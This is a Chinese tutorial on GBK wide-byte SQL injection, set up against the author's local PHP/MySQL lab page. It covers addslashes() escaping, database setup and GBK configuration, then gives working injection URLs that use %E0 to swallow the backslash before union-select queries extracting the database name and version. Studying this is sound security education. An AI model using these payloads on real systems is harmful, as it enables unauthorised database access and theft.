宽字节注入

简介: 宽字节注入

一、原理

1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

二、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号('),双引号("),反斜杠(\),NULL

3、实例

<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
运行结果:
aiyou\"bu\"cuoo

三、数据库创建

1、创建数据库名为jay

create database jay;

2、选择创建好的数据库

use jay;

3、创建表名为zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入数据

insert into zhuanji (name,year,zhudage) values ("七里香","2004","七里香/外婆/我的地盘");

insert into zhuanji (name,year,zhudage) values ("十一月的萧邦","2005","夜曲/发如雪/珊瑚海");

insert into zhuanji (name,year,zhudage) values ("我很忙","2007","青花瓷/我不配/彩虹");

5、中文编码问题,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

四、宽字节注入

1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

0a2653c851af460fa595bd959398a8f1.png

2、判断是否存在注入,在id=2后面加入',看是否报错,发现单引号被转义了

0eacb84100b54626af849e6b562bf92a.png

3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了

2d65d23f6d4748949b924e4057485923.png

4、成功替换了反斜杠

2e9b90b2ca334476abebe75bafe6eeaa.png

5、获取数据库列数,order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0' order by 4 --+

4cebaac233b3433da32a72337a77fc60.png

6、获取数据库名称及版本号

192.168.0.104/aiyou/1.php?id=-2%E0' union select 1,database(),version(),4 --+

6de278e6d6694ce5bb08e7e842b7e74b.png

禁止非法,后果自负

目录
相关文章
|
SQL 安全 程序员
宽字节注入详解
宽字节注入详解
189 0
|
测试技术
填充‘?’01串(字节面试题)
填充‘?’01串(字节面试题)
|
网络协议 网络架构
字节填充与0比特填充以及数据链路的基本问题
字节填充与0比特填充以及数据链路的基本问题
633 0
|
关系型数据库 MySQL 数据库
宽字节注入讲解
宽字节注入讲解
72 1
|
数据库
22、宽字节注入
22、宽字节注入
57 0
|
安全 关系型数据库 MySQL
MySQL注入 -- 宽字节注入
MySQL注入 -- 宽字节注入
83 0
|
数据库
小课堂 -- 宽字节注入
小课堂 -- 宽字节注入
37 0
|
Java
java实现颜色Color对象和16进制之间的转换
package com.tsxs.test; import java.awt.Color; public class TestColor { public static void main(String[] args) { System.out.println(toHexFromColor(Color.BLUE)); System.out.println(toColorFro
5382 0
设计一个长方形类,成员变量包括长度和宽度,成员函数除包括计算周长和计算面积外,还包括用 Set 方法设置长和宽,以及用 get 方法来获取长
设计一个长方形类,成员变量包括长度和宽度,成员函数除包括计算周长和计算面积外,还包括用 Set 方法设置长和宽,以及用 get 方法来获取长
266 0
|
存储 缓存 编译器
windows编程 为什么要用宽字节
windows编程 为什么要用宽字节
391 0
windows编程 为什么要用宽字节